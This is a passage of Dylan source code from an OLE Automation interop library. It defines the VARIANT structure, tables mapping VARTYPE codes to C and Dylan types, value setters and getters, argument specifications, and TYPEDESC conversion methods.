define C-pointer-type <PLARGE-INTEGER*> => <PLARGE-INTEGER>;
define C-pointer-type <PULARGE-INTEGER*> => <PULARGE-INTEGER>;
define C-mapped-subtype <VARIANT-BOOL> ( <C-signed-short> )
map <boolean>,
import-function: method (value :: <integer>) => (value :: <boolean>);
~ zero?(value)
end,
export-function: method (value :: <boolean>) => (value :: <integer>);
if ( value ) $VARIANT-TRUE else $VARIANT-FALSE end if
end;
pointer-type <VARIANT-BOOL*>;
end;
define constant $SQL-NULL = #"NULL"; // to represent $VT-NULL value
define C-union <variant-union>
sealed inline-only slot lVal-value :: <C-both-long>;
sealed inline-only slot bVal-value :: <C-unsigned-char>;
sealed inline-only slot iVal-value :: <C-short>;
sealed inline-only slot fltVal-value :: <C-float>;
sealed inline-only slot dblVal-value :: <C-double>;
sealed inline-only slot bool-value :: <VARIANT-BOOL>;
sealed inline-only slot scode-value :: <C-HRESULT>;
sealed inline-only slot cyVal-value :: <CY>;
sealed inline-only slot date-value :: <DATE>;
sealed inline-only slot ptr-value :: <C-pointer>;
/*
sealed inline-only slot bstrVal-value :: <BSTR>;
sealed inline-only slot punkVal-value :: <Interface> /* IUnknown */;
sealed inline-only slot pdispVal-value :: <Interface> /* IDispatch */;
*/
sealed inline-only slot parray-value :: <c-safe-array>;
/*
sealed inline-only slot pbVal-value :: <C-unsigned-char*>;
sealed inline-only slot piVal-value :: <C-short*>;
sealed inline-only slot plVal-value :: <C-long*>;
sealed inline-only slot pfltVal-value :: <C-float*>;
sealed inline-only slot pdblVal-value :: <C-double*>;
sealed inline-only slot pbool-value :: <VARIANT-BOOL*>;
sealed inline-only slot pscode-value :: <C-HRESULT*>;
sealed inline-only slot pcyVal-value :: <CY*>;
sealed inline-only slot pdate-value :: <DATE*>;
sealed inline-only slot pbstrVal-value :: <BSTR*>;
sealed inline-only slot ppunkVal-value :: <Interface*> /* IUnknown */;
sealed inline-only slot ppdispVal-value :: <Interface*> /* IDispatch */;
sealed inline-only slot pparray-value :: <c-safe-array*>;
sealed inline-only slot pvarVal-value :: <VARIANT*>;
sealed inline-only slot byref-value :: <C-void*>;
*/
end;
define C-struct <VARIANT>
sealed inline-only slot vt-value :: <VARTYPE>;
sealed inline-only slot wReserved1 :: <WORD>, getter: #f, setter: #f;
sealed inline-only slot wReserved2 :: <WORD>, getter: #f, setter: #f;
sealed inline-only slot wReserved3 :: <WORD>, getter: #f, setter: #f;
sealed inline-only slot u-value :: <variant-union>;
pointer-type-name: <LPVARIANT>;
end C-struct <VARIANT>;
define constant <VARIANTARG> = <VARIANT>;
define constant <LPVARIANTARG> = <LPVARIANT>;
define constant $NULL-VARIANT :: <LPVARIANT> = null-pointer(<LPVARIANT>);
//define constant <U8> = limited(<integer>, min: 0, max: #xFF);
define constant <U16> = limited(<integer>, min: 0, max: #xFFFF);
define constant <S16> = limited(<integer>, min: -#x8000, max: #x7FFF);
// Maps an element of the VARENUM enumeration type to the corresponding
// C type descriptor.
define constant $vt-c-classes :: <simple-object-vector> = vector(
// These are used in either a VARIANT, TYPEDESC, or SAFEARRAY:
/* $VT-EMPTY = 0 */ #f,
/* $VT-NULL = 1 */ #f,
/* $VT-I2 = 2 */ <C-short>,
/* $VT-I4 = 3 */ <C-long>,
/* $VT-R4 = 4 */ <C-float>,
/* $VT-R8 = 5 */ <C-double>,
/* $VT-CY = 6 */ <CY>,
/* $VT-DATE = 7 */ <DATE>,
/* $VT-BSTR = 8 */ <BSTR>,
/* $VT-DISPATCH = 9 */ <LPDISPATCH>,
/* $VT-ERROR = 10 */ <C-HRESULT>,
/* $VT-BOOL = 11 */ <VARIANT-BOOL>,
/* $VT-VARIANT = 12 */ <VARIANT>,
/* $VT-UNKNOWN = 13 */ <LPUNKNOWN>,
/* $VT-DECIMAL = 14 */ #f,
/* = 15 */ #f,
/* $VT-I1 = 16 */ <C-signed-char>,
/* $VT-UI1 = 17 */ <C-character>, // maps unsigned char to <character>
// These are used only in a TYPEDESC or property set:
/* $VT-UI2 = 18 */ <C-unsigned-short>,
/* $VT-UI4 = 19 */ <C-unsigned-long>,
/* $VT-I8 = 20 */ <PLARGE-INTEGER>, // or <C-signed-long-long> ???
/* $VT-UI8 = 21 */ <PULARGE-INTEGER>, // or <C-unsigned-long-long> ???
/* $VT-INT = 22 */ <C-signed-int>,
/* $VT-UINT = 23 */ <C-unsigned-int>,
/* $VT-VOID = 24 */ <C-void>,
/* $VT-HRESULT = 25 */ <C-HRESULT>,
/* $VT-PTR = 26 */ #f, // pointer to type in lptdesc; not useful here.
/* $VT-SAFEARRAY = 27 */ #f, // <LPSAFEARRAY>, // array of type in lptdesc
/* $VT-CARRAY = 28 */ #f /* ??? */, // C array of type in lpadesc field
/* $VT-USERDEFINED = 29 */ #f, //user defined; see hreftype field
/* $VT-LPSTR = 30 */ <LPSTR>, // null terminated string
/* $VT-LPWSTR = 31 */ <LPWSTR> // wide null terminated string
// These are used only in an OLE property set:
/* $VT-RECORD = 36, */
/* $VT-FILETIME = 64, */
/* $VT-BLOB = 65, */
/* $VT-STREAM = 66, */
/* $VT-STORAGE = 67, */
/* $VT-STREAMED-OBJECT = 68, */
/* $VT-STORED-OBJECT = 69, */
/* $VT-BLOB-OBJECT = 70, */
/* $VT-CF = 71, */
/* $VT-CLSID = 72, */
);
debug-assert($vt-c-classes[$VT-LPWSTR] = <LPWSTR>);
define constant $VT-VARIANT-MIN = $VT-I2; // index of first non-empty entry
define constant $VT-VARIANT-MAX = $VT-UI1; // largest index for a VARIANT
define constant $VT-TYPEDESC-MAX = $VT-LPWSTR; // largest index for a TYPEDESC
// referenced-type($vt-c-pointer-classes[i]) = $vt-c-classes[i]
define constant $vt-c-pointer-classes :: <simple-object-vector> = vector(
// These are used in either a VARIANT, TYPEDESC, or SAFEARRAY:
/* $VT-EMPTY = 0 */ #f,
/* $VT-NULL = 1 */ #f,
/* $VT-I2 = 2 */ <C-short*>,
/* $VT-I4 = 3 */ <C-long*>,
/* $VT-R4 = 4 */ <C-float*>,
/* $VT-R8 = 5 */ <C-double*>,
/* $VT-CY = 6 */ <CY*>,
/* $VT-DATE = 7 */ <DATE*>,
/* $VT-BSTR = 8 */ <LPBSTR>,
/* $VT-DISPATCH = 9 */ <LPLPDISPATCH>,
/* $VT-ERROR = 10 */ <C-HRESULT*>,
/* $VT-BOOL = 11 */ <VARIANT-BOOL*>,
/* $VT-VARIANT = 12 */ <LPVARIANT>,
/* $VT-UNKNOWN = 13 */ <LPLPUNKNOWN>,
/* = 14 */ #f,
/* = 15 */ #f,
/* $VT-I1 = 16 */ <C-signed-char*>,
/* $VT-UI1 = 17 */ <C-character*>, // maps unsigned char to <character>
// These are used only in a TYPEDESC:
/* $VT-UI2 = 18 */ <C-unsigned-short*>,
/* $VT-UI4 = 19 */ <C-unsigned-long*>,
/* $VT-I8 = 20 */ <PLARGE-INTEGER*>, // or <C-signed-long-long> ???
/* $VT-UI8 = 21 */ <PULARGE-INTEGER*>, // or <C-unsigned-long-long> ???
/* $VT-INT = 22 */ <C-signed-int*>,
/* $VT-UINT = 23 */ <C-unsigned-int*>,
/* $VT-VOID = 24 */ <C-void*>,
/* $VT-HRESULT = 25 */ <C-HRESULT*>,
/* $VT-PTR = 26 */ <C-void**>, // pointer to type in lptdesc field.
/* $VT-SAFEARRAY = 27 */ <SAFEARRAY**>, // array of type in lptdesc field.
/* $VT-CARRAY = 28 */ #f /* ??? */, // C array of type in lpadesc field
/* $VT-USERDEFINED = 29 */ #f, //user defined; see hreftype field
/* $VT-LPSTR = 30 */ <C-string*>, // null terminated string
/* $VT-LPWSTR = 31 */ <C-unicode-string*> // wide null terminated string
);
define constant $vt-Dylan-classes :: <simple-object-vector> = vector(
// These are used in either a VARIANT, TYPEDESC, or SAFEARRAY:
/* $VT-EMPTY = 0 */ #f,
/* $VT-NULL = 1 */ #f,
/* $VT-I2 = 2 */ <S16>,
/* $VT-I4 = 3 */ <integer>,
/* $VT-R4 = 4 */ <single-float>,
/* $VT-R8 = 5 */ <double-float>,
/* $VT-CY = 6 */ <double-integer>,
/* $VT-DATE = 7 */ <double-float>,
/* $VT-BSTR = 8 */ <BSTR>,
/* $VT-DISPATCH = 9 */ <LPDISPATCH>,
/* $VT-ERROR = 10 */ <HRESULT>,
/* $VT-BOOL = 11 */ <boolean>,
/* $VT-VARIANT = 12 */ <LPVARIANT>,
/* $VT-UNKNOWN = 13 */ <LPUNKNOWN>,
/* = 14 */ #f,
/* = 15 */ #f,
/* $VT-I1 = 16 */ <integer>,
/* $VT-UI1 = 17 */ <character>,
// These are used only in a TYPEDESC:
/* $VT-UI2 = 18 */ <U16>,
/* $VT-UI4 = 19 */ <machine-word>,
/* $VT-I8 = 20 */ <double-integer>, // ???
/* $VT-UI8 = 21 */ <PULARGE-INTEGER>, // ???
/* $VT-INT = 22 */ <integer>,
/* $VT-UINT = 23 */ <integer>,
/* $VT-VOID = 24 */ #f,
/* $VT-HRESULT = 25 */ <HRESULT>,
/* $VT-PTR = 26 */ <C-pointer>, // pointer to type in lptdesc field.
/* $VT-SAFEARRAY = 27 */ <ole-array>, // array of type in lptdesc field.
/* $VT-CARRAY = 28 */ #f /* ??? */, // C array of type in lpadesc field
/* $VT-USERDEFINED = 29 */ #f,//user defined; see hreftype field
/* $VT-LPSTR = 30 */ <LPSTR>, // null terminated string
/* $VT-LPWSTR = 31 */ <LPWSTR> // wide null terminated string
);
debug-assert($vt-Dylan-classes[$VT-LPWSTR] = <LPWSTR>);
define sealed method indexed-variant( var :: <LPVARIANT>, index :: <integer>)
=> var :: <LPVARIANT>;
// Given pointer to array, return pointer to indexed element.
if ( zero?(index) )
var
else
pointer-value-address(var, index: index)
end if
end method indexed-variant;
define sealed method pointer-value( varptr :: <LPVARIANT>, #key index = 0 )
=> value :: <object>;
let var :: <LPVARIANT> = indexed-variant(varptr,index);
let type :: <U16> = var.vt-value;
if ( type = $VT-NULL )
$SQL-NULL
else
let ptrclass = $vt-c-pointer-classes[ logand(type, #xFF) ];
if ( ptrclass == #f )
error("unsupported VARIANT type %d", type);
end if;
if ( logand(type, $VT-ARRAY) ~= 0 )
let array :: <ole-array> = var.u-value.parray-value;
array.element-pointer-type := ptrclass;
array
else
if ( logand(type, $VT-BYREF) ~= 0 )
pointer-cast(ptrclass, var.u-value.ptr-value);
else
pointer-value( pointer-cast(ptrclass, var.u-value) );
end if
end if
end if
end method pointer-value;
define sealed method pointer-value-setter( value :: <integer>,
varptr :: <LPVARIANT>, #key index = 0 ) => value :: <object>;
let var :: <LPVARIANT> = indexed-variant(varptr,index);
VariantClear(var); // release any previous value
// Always store as 32 bits so that the other program will get the right
// value even if it assumes VT_I4 without checking.
var.u-value.lVal-value := value;
if ( value <= #x7FFF & value >= -#x7FFF )
var.vt-value := $VT-I2;
debug-assert(var.u-value.iVal-value = value);
else
var.vt-value := $VT-I4;
end if;
value
end;
define sealed method pointer-value-setter( value :: <machine-word>,
varptr :: <LPVARIANT>, #key index = 0) => value :: <object>;
let var :: <LPVARIANT> = indexed-variant(varptr,index);
VariantClear(var); // release any previous value
var.vt-value := $VT-I4;
var.u-value.lVal-value := value;
value
end;
define sealed method pointer-value-setter( value :: <character>,
varptr :: <LPVARIANT>, #key index = 0 ) => value :: <object>;
let var :: <LPVARIANT> = indexed-variant(varptr,index);
VariantClear(var); // release any previous value
var.vt-value := $VT-UI1;
var.u-value.lVal-value := 0;
let ivalue :: <integer> = as(<integer>, value);
var.u-value.bVal-value := ivalue;
value
end;
define sealed method pointer-value-setter( value :: <boolean>,
varptr :: <LPVARIANT>, #key index = 0 ) => value :: <object>;
let var :: <LPVARIANT> = indexed-variant(varptr,index);
VariantClear(var); // release any previous value
var.vt-value := $VT-BOOL;
var.u-value.bool-value := value;
value
end;
define constant set-variant-pointer =
method(varptr :: <LPVARIANT>,
index :: <integer>,
variant-type :: <U16>,
pointer :: <C-pointer>) => pointer :: <C-pointer>;
let var :: <LPVARIANT> = indexed-variant(varptr,index);
VariantClear(var); // release any previous value
var.vt-value := variant-type;
var.u-value.ptr-value := pointer
end;
define sealed method pointer-value-setter( value :: <LPUNKNOWN>,
varptr :: <LPVARIANT>, #key index = 0 ) => value :: <object>;
AddRef(value);
set-variant-pointer(varptr, index, $VT-UNKNOWN, value)
end;
// ??? later make this <LPDISPATCH> when that is distinct from <LPUNKNOWN>
define sealed method pointer-value-setter( value :: <IDispatch>,
varptr :: <LPVARIANT>, #key index = 0 ) => value :: <object>;
AddRef(value);
set-variant-pointer(varptr, index, $VT-DISPATCH, value)
end;
define sealed method pointer-value-setter( string :: <string>,
varptr :: <LPVARIANT>, #key index = 0 ) => string :: <string>;
// Need to always copy the value because it will be
// automatically deleted by VariantClear.
set-variant-pointer(varptr, index, $VT-BSTR, copy-as-BSTR(string));
string
end;
// The following method should be redundant, but it is needed temporarily
// to work around Bug 1081. -- DNG 8/22/97 ???
define sealed method pointer-value-setter( string :: <BSTR>,
varptr :: <LPVARIANT>, #key index = 0 ) => string :: <BSTR>;
// Need to always copy the value because it will be
// automatically deleted by VariantClear.
set-variant-pointer(varptr, index, $VT-BSTR, copy-as-BSTR(string));
string
end;
define sealed method pointer-value-setter( sequence :: <sequence>,
varptr :: <LPVARIANT>, #key index = 0 )
=> sequence :: <sequence>;
let sa :: <ole-vector> = apply(ole-vector, sequence);
let ptrtype = sa.element-pointer-type;
let vt = position($vt-c-pointer-classes, ptrtype);
set-variant-pointer(varptr, index, logior($VT-ARRAY, vt), sa);
sequence
end;
define sealed method pointer-value-setter( array :: <array>,
varptr :: <LPVARIANT>, #key index = 0 )
=> array :: <array>;
if ( rank(array) = 1 )
next-method() // use the <sequence> method
else
let (sa, vt) = as-safe-array(array);
set-variant-pointer(varptr, index, logior($VT-ARRAY, vt), sa);
array
end if
end;
define sealed method pointer-value-setter( array :: <ole-array>,
varptr :: <LPVARIANT>, #key index = 0 )
=> array :: <ole-array>;
let ( status :: <HRESULT>, sa :: <LPSAFEARRAY> ) = SafeArrayCopy(array);
check-ole-status(status, "SafeArrayCopy", array);
let ptrtype = array.element-pointer-type;
let vt = position($vt-c-pointer-classes, ptrtype);
set-variant-pointer(varptr, index, logior($VT-ARRAY, vt), sa);
array
end;
define sealed method pointer-value-setter( value == $SQL-NULL,
varptr :: <LPVARIANT>, #key index = 0 ) => value :: <object>;
set-variant-pointer(varptr, index, $VT-NULL, $NULL-VOID);
value
end;
define sealed method pointer-value-setter( value :: <single-float>,
varptr :: <LPVARIANT>, #key index = 0) => value :: <object>;
let var :: <LPVARIANT> = indexed-variant(varptr,index);
VariantClear(var); // release any previous value
var.vt-value := $VT-R4;
var.u-value.fltVal-value := value;
value
end;
define sealed method pointer-value-setter( value :: <double-float>,
varptr :: <LPVARIANT>, #key index = 0) => value :: <object>;
let var :: <LPVARIANT> = indexed-variant(varptr,index);
VariantClear(var); // release any previous value
var.vt-value := $VT-R8;
var.u-value.dblVal-value := value;
value
end;
define sealed method pointer-value-setter( value :: <double-integer>,
varptr :: <LPVARIANT>, #key index = 0) => value :: <object>;
let var :: <LPVARIANT> = indexed-variant(varptr,index);
VariantClear(var); // release any previous value
var.vt-value := $VT-CY;
pointer-value(var.u-value.cyVal-value) := value;
value
end;
define sealed method pointer-value-setter (value :: <C-pointer>,
varptr :: <LPVARIANT>, #key index = 0 )
=> value :: <C-pointer>;
block (return)
for ( vt :: <integer> from $VT-VARIANT-MIN to $VT-VARIANT-MAX )
let typei = $vt-c-pointer-classes[vt];
if ( typei & instance?(value, typei) )
set-variant-pointer(varptr, index, logior($VT-BYREF, vt), value);
return(value);
end if;
end for;
next-method();
end block;
end;
define sealed method pointer-value-setter (value :: <object>,
varptr :: <LPVARIANT>, #key index = 0)
=> value :: <object>;
error("Automation VARIANTARG can't represent the value %=", value);
VariantClear(indexed-variant(varptr,index));
value
end;
define constant %no-value = #(0 . 0);
define sealed method initialize ( var :: <LPVARIANT>,
#key value :: <object> = %no-value,
address = #f, #all-keys )
next-method();
unless ( address )
// When memory space has been newly allocated, initialize it.
// Note: properly, if `element-count:' is specified as greater than 1,
// then this should be applied to each element. But that is currently
// only done in `make-dispparams' and it is easier to do the
// initialization there.
VariantInit(var);
end unless;
unless ( value == %no-value )
pointer-value(var) := value;
end unless;
values()
end method initialize;
define sealed method destroy ( var :: <LPVARIANT>, #key ) => ();
unless ( null-pointer?(var) )
VariantClear(var);
// Note that `destroy-dispparams' calls `VariantClear' on the additional
// elements if more than one.
next-method();
end unless;
values()
end method destroy;
define method as( class == <LPVARIANT>, data :: <object> ) => v :: <LPVARIANT>;
let var :: <LPVARIANT> = make(class);
pointer-value(var) := data;
var
end method as;
define sealed method empty? ( var :: <LPVARIANT> ) => empty :: <boolean>;
var.vt-value = $VT-EMPTY
end method empty?;
define sealed method null? ( var :: <LPVARIANT> ) => null :: <boolean>;
null-pointer?(var) | ( var.vt-value = $VT-NULL )
end method null?;
define abstract class <ole-arg-spec> (<object>)
sealed slot arg-spec-vt :: <U16>, init-keyword: vt:;
keyword type:;
end class;
define sealed method make ( class == <ole-arg-spec>, #rest args,
#key direction = #"in", #all-keys )
=> ( arg-spec :: <ole-arg-spec> );
apply(make,
if ( direction == #"in" ) <ole-value-arg-spec>
else <ole-by-ref-arg-spec>
end if,
args)
end method make;
define class <ole-value-arg-spec> (<ole-arg-spec>)
slot arg-spec-value, init-keyword: value:;
end class;
/* // not needed
define method arg-spec-direction ( argspec :: <ole-value-arg-spec> )
#"in"
end;
*/
define class <ole-by-ref-arg-spec> (<ole-arg-spec>)
constant slot arg-spec-direction = #"in", init-keyword: direction:;
slot arg-spec-ptr :: <C-pointer> = $null-void;
keyword value:;
end class;
define method initialize ( arg-spec :: <ole-arg-spec>,
#rest ignore,
#key vt = %no-value, value = %no-value,
type = %no-value) => ();
next-method();
if ( vt == %no-value )
let xtype =
if ( type ~== %no-value )
type
elseif ( value ~== %no-value )
object-class(value)
else
error("Must specify one of vt:, type:, or value: for <ole-arg-spec>");
end if;
arg-spec.arg-spec-vt := vt-from-type(xtype);
end if;
end method initialize;
define sealed method initialize ( arg-spec :: <ole-by-ref-arg-spec>,
#rest ignore,
#key value = %no-value, #all-keys) => ();
next-method();
if ( value ~== %no-value )
arg-spec-value(arg-spec) := value;
end if;
end method initialize;
define method arg-spec-value ( arg-spec :: <ole-by-ref-arg-spec> )
=> ( value :: <object> );
pointer-value(arg-spec.arg-spec-ptr)
end;
define method arg-spec-value-setter ( value :: <object>,
arg-spec :: <ole-by-ref-arg-spec> )
=> ( value :: <object> );
let ptr = arg-spec.arg-spec-ptr;
if ( null-pointer?(ptr) )
drain-finalization-queue();
ptr := make($vt-c-pointer-classes[arg-spec.arg-spec-vt]);
arg-spec.arg-spec-ptr := ptr;
finalize-when-unreachable(arg-spec);
end if;
pointer-value(ptr) := value
end;
define method finalize ( arg-spec :: <ole-by-ref-arg-spec> ) => ();
destroy(arg-spec.arg-spec-ptr);
arg-spec.arg-spec-ptr := $null-void;
next-method();
end;
define generic vt-from-type ( type ) => (vt :: <U16>);
define method vt-from-type( type :: <object> ) => (vt :: <U16>);
error("Invalid type for Automation argument: %=", type);
$VT-EMPTY
end;
define method vt-from-type( type :: <type> ) => (vt :: <U16>);
block(return)
for ( i :: <U16> from $VT-VARIANT-MIN to $VT-TYPEDESC-MAX )
let typei = $vt-Dylan-classes[i];
if ( typei & subtype?(type, typei) )
return(i);
end if;
end for;
next-method()
end block
end;
define method vt-from-type( class :: subclass(<C-value>) ) => (vt :: <U16>);
block(return)
for ( i :: <U16> from $VT-VARIANT-MIN to $VT-TYPEDESC-MAX )
let typei = $vt-c-classes[i];
if ( typei & subtype?(class, typei) )
return(i);
end if;
end for;
next-method()
end block
end;
define method vt-from-type( class == <BOOL> ) => (vt :: <U16>);
$VT-BOOL
end;
define method vt-from-type( class == <machine-word> ) => (vt :: <U16>);
$VT-I4
end;
define method vt-from-type( class == <C-int> ) => (vt :: <U16>);
// Allow using <C-int> instead of <C-long>, which is functionally
// equivalent but not the same object. (In a TYPEDESC, <C-int> would
// correspond to $VT-INT, but that isn't allowed in a VARIANT.)
$VT-I4
end;
define method vt-from-type
( class :: type-union(singleton(<C-both-unsigned-long>),
singleton(<C-raw-unsigned-long>)) )
=> (vt :: <U16>);
$VT-UI4
end;
define method vt-from-type( class == <C-both-signed-long> ) => (vt :: <U16>);
$VT-I4
end;
define method vt-from-type( class :: subclass(<IDispatch>) ) => (vt :: <U16>);
$VT-DISPATCH
end;
define method vt-from-type( class :: subclass(<LPUNKNOWN>) ) => (vt :: <U16>);
$VT-UNKNOWN
end;
define method vt-from-type( class :: subclass(<string>) ) => (vt :: <U16>);
$VT-BSTR
end;
define method vt-from-type( class :: subclass(<sequence>) ) => (vt :: <U16>);
logior($VT-ARRAY, $VT-VARIANT)
end;
define method vt-from-type( typedescr :: <array-type-description> )
=> (vt :: <U16>);
logior($VT-ARRAY, vt-from-type(element-type(typedescr)))
end;
define method vt-from-type( td :: <LPTYPEDESC> ) => (vt :: <U16>);
td.vt-value
end;
define method pointer-value-setter( arg-spec :: <ole-value-arg-spec>,
varptr :: <LPVARIANT>, #key index = 0) => value :: <object>;
let vt = arg-spec.arg-spec-vt;
let var :: <LPVARIANT> = indexed-variant(varptr,index);
let value = arg-spec.arg-spec-value;
let varu = var.u-value;
let var-vt = vt-for-variant(vt);
select (var-vt)
$VT-I2 => let value :: <integer> = value;
varu.iVal-value := value;
$VT-I4, $VT-ERROR => let value :: <ffi-integer> = value;
varu.lVal-value := value;
$VT-DISPATCH, $VT-UNKNOWN => let value :: <C-pointer> = value;
varu.ptr-value := value;
$VT-I1, $VT-UI1 => let value :: <integer> = logand(#xFF, as(<integer>, value));
varu.bVal-value := value;
$VT-CY => pointer-value(varu.cyVal-value) := value;
$VT-EMPTY, $VT-NULL => varu.ptr-value := $null-void;
otherwise =>
pointer-value(var) := as($vt-Dylan-classes[vt], value);
end select;
var.vt-value := var-vt;
value
end method;
define constant $continue-message = "Continue anyway";
define function vt-for-variant ( vt :: <integer> ) => (vt :: <U16>);
if ( vt >= 0 & vt <= $VT-VARIANT-MAX )
vt
else
// map TYPEDESC codes to legal values for a VARIANT
select(vt)
$VT-UI2 => $VT-I2;
$VT-UI4, $VT-INT, $VT-UINT => $VT-I4;
$VT-HRESULT => $VT-ERROR;
otherwise =>
begin
cerror($continue-message, "Invalid VARTYPE for VARIANTARG: %=", vt);
vt
end
end select;
end if
end vt-for-variant;
define method pointer-value-setter( arg-spec :: <ole-by-ref-arg-spec>,
varptr :: <LPVARIANT>, #key index = 0) => value :: <object>;
let vt = arg-spec.arg-spec-vt;
let ptr = arg-spec.arg-spec-ptr;
if ( null-pointer?(ptr) )
if ( arg-spec.arg-spec-direction ~= #"out" )
error("%s parameter with no value",
as(<string>, arg-spec.arg-spec-direction));
end if;
ptr := make($vt-c-pointer-classes[vt]);
arg-spec.arg-spec-ptr := ptr;
end if;
set-variant-pointer(varptr, index,
logior($VT-BYREF, vt-for-variant(vt)), ptr);
arg-spec
end;
define generic set-typedesc ( object, typedesc )
=> (direction-flags :: <U16>);
define method set-typedesc( argtype :: <ole-value-arg-spec>,
t :: <LPTYPEDESC> )
=> direction-flags :: <U16>;
t.vt-value := argtype.arg-spec-vt;
$IDLFLAG-FIN;
end method set-typedesc;
define method set-typedesc( argtype :: <ole-by-ref-arg-spec>,
t :: <LPTYPEDESC> )
=> direction-flags :: <U16>;
t.vt-value := $VT-PTR;
let type :: <type> = $vt-c-classes[argtype.arg-spec-vt];
t.u-value.lptdesc-value := as-typedesc(type);
select ( argtype.arg-spec-direction )
#"in" => $IDLFLAG-FIN;
#"out" => $IDLFLAG-FOUT;
#"in-out" => logior($IDLFLAG-FIN, $IDLFLAG-FOUT);
end select
end method set-typedesc;
define method out-ref (type :: <ole-type>) => (r :: <ole-by-ref-arg-spec>)
make(<ole-by-ref-arg-spec>, type: type, direction: #"out")
end;
define method out-ref (vt :: <integer>) => (r :: <ole-by-ref-arg-spec>)
make(<ole-by-ref-arg-spec>, vt: vt, direction: #"out")
end;
define function inout-ref (value, #rest args) => (r :: <ole-by-ref-arg-spec>)
apply(make, <ole-by-ref-arg-spec>, value: value, direction: #"in-out", args)
end;
define method pass-as (vt :: <integer>, value :: <object>)
=> (arg-spec :: <ole-value-arg-spec>);
make(<ole-value-arg-spec>, vt: vt, value: value)
end method;
define method pass-as (type :: <ole-type>, value :: <object>)
=> (arg-spec :: <ole-value-arg-spec>);
make(<ole-value-arg-spec>, type: type, value: value)
end method;
// <LPPROPVARIANT> is defined in the COM library for use with the
// IPropertyStorage interface, but it is equivalent to an <LPVARIANT>,
// at least as far as our implementation goes.
define inline-only sealed sideways method u-value (var :: <LPPROPVARIANT>)
=> (union-pointer)
let ptr :: <LPVARIANT> = pointer-cast(<LPVARIANT>, var);
u-value(ptr);
end;
define inline sealed sideways method pointer-value (var :: <LPPROPVARIANT>,
#rest args, #key index)
=> (vt :: <integer>);
let ptr :: <LPVARIANT> = pointer-cast(<LPVARIANT>, var);
apply(pointer-value, ptr, args)
end;
define inline sealed sideways method pointer-value-setter
(value :: <object>, var :: <LPPROPVARIANT>, #rest args, #key index)
=> (value :: <object>);
let ptr :: <LPVARIANT> = pointer-cast(<LPVARIANT>, var);
apply(pointer-value-setter, value, ptr, args)
end;
define inline sideways method as (class == <LPPROPVARIANT>, data :: <object>)
=> v :: <LPPROPVARIANT>;
pointer-cast(<LPPROPVARIANT>, as(<LPVARIANT>, data))
end method as;
//--
// For compatibility with old structure
define sealed inline-only method idldesc-value ( ed :: <LPELEMDESC> )
=> ( id :: <LPIDLDESC> )
// This should be just:
// ed.u-value.idldesc-value
// but that is getting an infinite recursion in the compiler (Bug 2778),
// so using the following work-around instead. -- DNG 4/8/98
pointer-cast(<LPIDLDESC>, ed.u-value)
end;
// --- TYPEDESC ---
// Are the following three methods really needed???
// They are exported, but not used here and not documented.
define method typedesc-C-class ( t :: <LPTYPEDESC> )
=> class :: <class>;
let vt :: <U16> = t.vt-value;
select ( vt )
$VT-PTR => typedesc-C-pointer-class(t.u-value.lptdesc-value);
// $VT-SAFEARRAY => // element type in lptdesc-value
// $VT-CARRAY => // element type and dimensions in lpadesc-value
// $VT-USERDEFINED => // description handle in hreftype-value
otherwise =>
$vt-c-classes[vt];
end select
end method typedesc-C-class;
define method typedesc-C-pointer-class ( t :: <LPTYPEDESC> )
=> class :: <class>;
let vt :: <U16> = t.vt-value;
select ( vt )
// $VT-PTR => pointer-type(typedesc-C-pointer-class(t.u-value.lptdesc-value));
// $VT-SAFEARRAY => // element type in lptdesc-value
// $VT-CARRAY => // element type and dimensions in lpadesc-value
// $VT-USERDEFINED => // description handle in hreftype-value
otherwise =>
$vt-c-pointer-classes[vt];
end select
end method typedesc-C-pointer-class;
define method typedesc-Dylan-class ( t :: <LPTYPEDESC> ) => (class :: <ole-type>);
let vt :: <U16> = t.vt-value;
select ( vt )
$VT-PTR => typedesc-C-class(t);
$VT-SAFEARRAY =>
// limited(<array>, of: typedesc-Dylan-class(t.u-value.lptdesc-value));
ole-array-type(typedesc-Dylan-class(t.u-value.lptdesc-value));
// $VT-CARRAY => // element type and dimensions in lpadesc-value
// $VT-USERDEFINED => // description handle in hreftype-value
otherwise =>
$vt-Dylan-classes[vt];
end select
end method typedesc-Dylan-class;
define method pointer-value-setter( type :: <object>,
t :: <LPTYPEDESC>,
#key index :: <integer> = 0 )
=> type :: <object>;
if ( ~ zero?(index) )
set-typedesc(type, pointer-value-address(t, index: index))
else
set-typedesc(type,t)
end if;
type
end method pointer-value-setter;
define method set-typedesc( type :: <object>, t :: <LPTYPEDESC> )
=> direction-flags :: <U16>;
error("Can't convert %= to an OLE type description", type);
t.vt-value := $VT-EMPTY;
$IDLFLAG-NONE
end method set-typedesc;
define method set-typedesc( type :: <type>, t :: <LPTYPEDESC> )
=> direction-flags :: <U16>;
block(return)
for ( i :: <integer> from $VT-VARIANT-MIN below size($vt-Dylan-classes) )
let typei = $vt-Dylan-classes[i];
if ( typei & subtype?(type, typei) )
t.vt-value := i;
if ( i = $VT-PTR )
block()
t.u-value.lptdesc-value := as-typedesc(referenced-type(type))
exception ( condition :: <error> )
// Support for structure pointers not yet implemented ???
// But suppress warning on inherited QueryInterface.
unless ( type = <LPGUID> )
signal(make(<simple-warning>,
format-string:
"Type library using \"void*\" in place of %=\n"
"because %s\n",
format-arguments: vector(type, condition)));
end;
t.u-value.lptdesc-value := as-typedesc(<C-void>)
end block
else
t.u-value.lptdesc-value := null-pointer(<LPTYPEDESC>)
end if;
return()
end if;
end for;
// Icky hack to support type-union(<integer>, <machine-word>):
if (subtype?(type, <signed-int>))
t.vt-value := $VT-I4;
return()
end if;
next-method();
end block;
$IDLFLAG-FIN
end method set-typedesc;
define method set-typedesc( class :: subclass(<C-value>), t :: <LPTYPEDESC> )
=> direction-flags :: <U16>;
block(return)
for ( i :: <integer> from $VT-VARIANT-MIN to $VT-TYPEDESC-MAX )
let vclass = $vt-c-classes[i];
if ( vclass & subtype?(class, vclass) )
t.vt-value := i;
return()
end if;
end for;
next-method();
end block;
$IDLFLAG-FIN
end method set-typedesc;
// <BOOL> is a special case because the table contains <VARIANT-BOOL> instead.
define method set-typedesc( class == <BOOL>, t :: <LPTYPEDESC> )
=> direction-flags :: <U16>;
t.vt-value := $VT-BOOL;
$IDLFLAG-FIN
end method set-typedesc;
// <machine-word> is a special case so that it doesn't map to $VT-ERROR
// (since <HRESULT> is actually the same as <machine-word>).
define method set-typedesc( class == <machine-word>, t :: <LPTYPEDESC> )
=> direction-flags :: <U16>;
t.vt-value := $VT-UI4;
$IDLFLAG-FIN
end method set-typedesc;
define method set-typedesc
( class :: type-union(subclass(<Interface>),
